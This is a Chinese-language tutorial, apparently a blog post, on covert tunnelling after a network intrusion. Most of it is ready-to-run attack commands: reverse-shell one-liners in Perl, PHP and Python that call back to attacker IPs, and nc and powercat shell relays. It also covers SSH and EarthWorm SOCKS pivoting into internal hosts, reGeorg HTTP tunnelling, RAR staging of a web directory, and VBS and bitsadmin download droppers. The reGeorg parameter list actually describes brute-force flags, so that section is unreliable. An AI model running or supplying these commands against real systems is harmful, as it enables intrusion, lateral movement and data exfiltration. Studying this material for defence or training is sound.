隐藏通信隧道技术(下)

目录

一、传输层隧道技术

1.Netcat获取shell(反向shell)

第一种:如果目标主机安装nc

第二种:目标主机没有安装nc,使用php也可以反弹shell

第三种:使用Python反弹shell 

 2.Netcat搭建内网代理获取shell

Powercat工具的使用 

1.powercat获取正向shell

2.powercat获取反向shell 

 3..powercat文件传输

4.powercat做代理

二、应用层隧道技术

1.SSH协议隧道技术

1.环境搭建

2.ssh常见建立ssh隧道所用到的参数 

3.ssh-本地端口转发

4.ssh-远程端口转发

 5.ssh-动态端口转发

2.HTTP协议隧道技术

 1.工具:reGeorg:  

 2.常见参数说明

3.复现

3.socks代理

1.socks简介

2.socks代理与端口转发的区别

3.工具:Earthworm(EW) 

socks二级级联

 多级级联:Lcx_listen、lcx_slave的用法:

4.压缩数据

4.1 工具:WINRAR

5.上传下载

5.1利用FTP协议上传,需要ftp账户和密码

5.2利用VBS和VPS上传

 5.3利用bitsadmin下载


一、传输层隧道技术

1.Netcat获取shell(反向shell)

第一种:如果目标主机安装nc

  • 在本地监听5555端口

  • 在目标主机上输入一下payload
    • Socket;$i="10.2.1.170";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      
      

  • 在本机查看shell已经反弹
    •  

第二种:目标主机没有安装nc,使用php也可以反弹shell

  1. 首先还是在本地监听5555端口
  2. 然后再目标主机输入一下payload
  3.   
    	php -r '$sock=fsockopen("10.2.1.170",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
    

  4. 然后查看本地主机发现反弹shell成功

第三种:使用Python反弹shell 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.19",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

 2.Netcat搭建内网代理获取shell

原理:公网服务器(kali2019)将web服务器(kali2021)作为代理访问内网的服务器(windows7)

  1. 首先在自己的服务器监听端口
  2.  然后将nc的脚本程序放到目标主机上,然后将shell放到配置好的端口下

    1. Nc –lvp 5555 –e /bin/sh    linux系统

    2. Nc –lvp 5555 –e c:\windows\system32\cmd.exe    window系统

  3. 最后在边界服务器上连接双方的端口

    1. nc -v 10.2.1.170 8888 -c "nc -v 172.31.1.69 5555"

  4. 然后再本机查看反弹shell成功

Powercat工具的使用 

下载链接 :https://github.com/besimorhino/powercat

1.powercat获取正向shell

  1. 首先在目标机开启powercat
  2. 然后使用管理员权限运行cmd
  3. 修改权限:Set-executionpolicy remotesigned
  4. 然后引用powercat:
  5. 最后将shell权限给到端口:    powercat –l –p 6666 –e cmd.exe –v
  6. 最后欧在主机监听端口即可:

2.powercat获取反向shell 

  1.  第一步先监听端口
  2. 第二步在目标主机上使用powercat:powercat -p 172.31.1.69 -p 9999 -e cmd.exe

 3..powercat文件传输

  1. Windows7下执行:     powercat –l –p 4444 -of c:\1.txt -v
  2. Windows server 2012:     powercat –c 192.168.150.7 –p 4444 –i c:\1.txt –v
  3. 可以在2012上继续添加内容,然后ctrl+c结束传输即可

4.powercat做代理

虚拟机有点问题暂时不做演示

C:powercat –l –v –p 6666 –e cmd.exe     

B:powercat –l –v –p 8000 –r tcp:192.168.150.7:6666 (作为跳板)    

A:nc 192.168.150.12 8000 –vv

二、应用层隧道技术

1.SSH协议隧道技术

1.环境搭建

  1. 需要修改配置文件:vi /etc/ssh/sshd_config    SSH配置文件
  2. PermitRootLogin yes        是否允许root登录
  3. PasswordAuthentication yes    是否允许使用基于密码的认证
  4. Allow TcpForwarding yes        是否允许转发TCP协议
  5. GatewayPorts yes            是否允许远程主机连接本地转发端口
  6. TCPKeepAlive yes            保持心跳,防止ssh断开
  7. 重启ssh
    1. Service ssh restart      
    2.  /etc/init/ssh restart

2.ssh常见建立ssh隧道所用到的参数 

  • -C    压缩传输,加快传输速度。   
  •  -f    将ssh转入后台执行,不占用当前的shell   
  •  -N    建立静默连接(建立了连接,但是看不到具体会话)   
  •  -g    允许远程主机连接到本地用于转发的端口   
  •  -L    本地端口转发   
  •  -R    远程端口转发   
  •  -D    动态转发(socks代理)   
  •  -p    指定ssh端口

3.ssh-本地端口转发

 B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以vps使用下面方法,进行端口转发

A10.2.1.88    B:10.2.170  C:72.31.1.69

  1. 首先在中间机上输入:ssh -CfNg -L 222:172.31.1.69:3389 root@10.2.1.170
  2. ssh -CfNg –L 本地端口(vps):目标主机:目标端口 @中间web服务器ip 
  3. 然后输入本机密码即可
  4. 最后在B服务器访问端口:desktop 10.2.1.88:1111

4.ssh-远程端口转发

Ssh远程转发 远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地对应端口

B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以在中间服务器上使用下面方法,进行端口转发 

A10.2.1.88    B:10.2.170  C:72.31.1.69

  1. ssh -CfNg -R 888:172.31.1.1:3389 root@10.2.1.170 
  2. 输入170的密码,然后连接即可

 5.ssh-动态端口转发

在中间服务器上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入web服务器的密码

  1. 首先在web服务器输入:ssh –CfNg -R 2222 :172.31.1.69:3389 root@10.2.1.170
  2. 然后输入密码
  3. 修改公网服务器的代理文件 :vi /etc/proxychains.conf 
  4.  
  5. 使用:proxychains curl 172.31.1.69:80 

 总结:动态端口转发就是将web服务器作为代理,使得攻击者可以访问web服务器能访问到的资源

2.HTTP协议隧道技术

 1.工具:reGeorg:  

https://github.com/sensepost/reGeorg

可以看到该工具有很多脚本,根据所需选择合适的脚本即可

 2.常见参数说明

  •  -R 根据上一次进度继续破解    -p指定密码破解   

  •  -S 使用ssl协议连接                -P 指定密码字典(文件)   

  •  -s 指定端口                            -t 指定多线程数量     

  • -l 指定用户名                           -vV 显示详细过程   

  •  -L 指定用户名字典

3.复现

  1. 首先修改代理文件,开启代理
  2. python reGeorgSocksProxy.py –u http://172.31.1.69/tunnel.nosocket.php -p 9050

3.socks代理

1.socks简介

  • Socks代理不是socket端口转发,不能混为一谈
  • 一个正常的socket隧道必备两端,一侧为服务端,它会监听一个端口等待客户端连接;另一侧为客户端,通过传入服务端的ip和端口才能主动连接到服务器。 端口转发工具(lcx.exe/htran)的工作原理:是将两条socket隧道对接起来,打造一条可“异步双向通讯”的转接隧道。
  • Socks代理功能核心:帮他们完成socket访问网络。当我们通过代理服务器访问一个网址时,socks服务器其实时起到了一个中间人的身份,他们分别与双方(浏览器/被访问网站)通讯,然后将获取到的结果告知另一方。
  • Socks代理的工作原理:当我们访问一个网站时,浏览器会先发送一个被访问目标基本信息(url和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问的结果回复给浏览器端

2.socks代理与端口转发的区别

  • socket端口转发无需通讯协议支持,而socks代理需要socks协议支持
  • socket端口工作方式不一样 
  • socks代理一对多,端口转发一对一

3.工具:Earthworm(EW) 

  1. 下载:EarthWorm
  2. 6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
  3. 开启socks正向代理(双向连通)
    1. ./ew_for_linux64 -s ssocksd -l 1080 
    2. 开启之后这个服务器作为代理服务器
    3. 然后再19服务器上边修改代理配置文件
    4. proxychains curl 172.31.1.69
       
  4. socks反向代理()
    1.  首先开启客户机的socks服务

    2. ./ew_for_linux64 -s rcsocks -l 7777 -e 8888 

    3. 然后

    4. 然后再内网服务器是上开启socks服务器端:

    5. 然后再公网服务器上再次修改代理配置文件,改为web端服务器代理的端口7777

    6.  

  5. socks二级级联

    1. 在目标服务器上执行:ew –s ssocksd –l 9999    
    2. 在中间服务器上执行:ew –s lcx_tran –l 1080 –f 192.168.150.7 –g 9999
  6.  多级级联:Lcx_listen、lcx_slave的用法:

    1. 在vps执行:ew –s lcx_listen –l 1080 –e 8888  

    2. 在目标服务器上执行:ew –s ssocksd –l 7777

    3. 在中间服务器上执行:ew -s lcx_slave -d 10.2.1.170 -e 8888 -f 172.31.1.69 -g 7777

4.压缩数据

4.1 工具:WINRAR

WINRar是一种功能强大的文件压缩/解压工具,支持大多数的压缩文件格式。如果目标主机安装了winrar,可以直接使用,如果没有安装,可以在本地安装后,把WinRAR安装目录里面的rar.exe文件提权出来,上传到目标主机中运行,注意:安装WinRAR的操作系统版本和目标主机的操作系统必须相同,否则可能出错

  • 压缩:    rar.exe a –k –r –s –m3 c:\web\1.rar c:\web
  • (把C:\web目录下的所有内容打包为1.rar,放到c:\web下)
  • 解压:    rar.exe e c:\web\1.rar

5.上传下载

5.1利用FTP协议上传,需要ftp账户和密码

  • Get 1.txt    //下载
  • Put 1.txt    //上传
  • Send 1.txt    //上传
  • Quit        //结束会话
  • Cd <name>        //进入目录
  • Lcd <文件夹路径>    //定位本地文件夹

5.2利用VBS和VPS上传

运行以下两条命令,即可将vps上的文件下载下来,需要改vps的ip,和下载位置

  1. echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://192.168.150.7/1.txt^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"C:\11.txt^",2 >down.vbs
    

        2.Cscript down.vbs

 5.3利用bitsadmin下载

  1. bitsadmin /rawreturn /transfer getfile http://192.168.150.7/1.txt c:\111.txt
  2. bitsadmin /transfer q http://192.168.150.7/1.txt c:\1.txt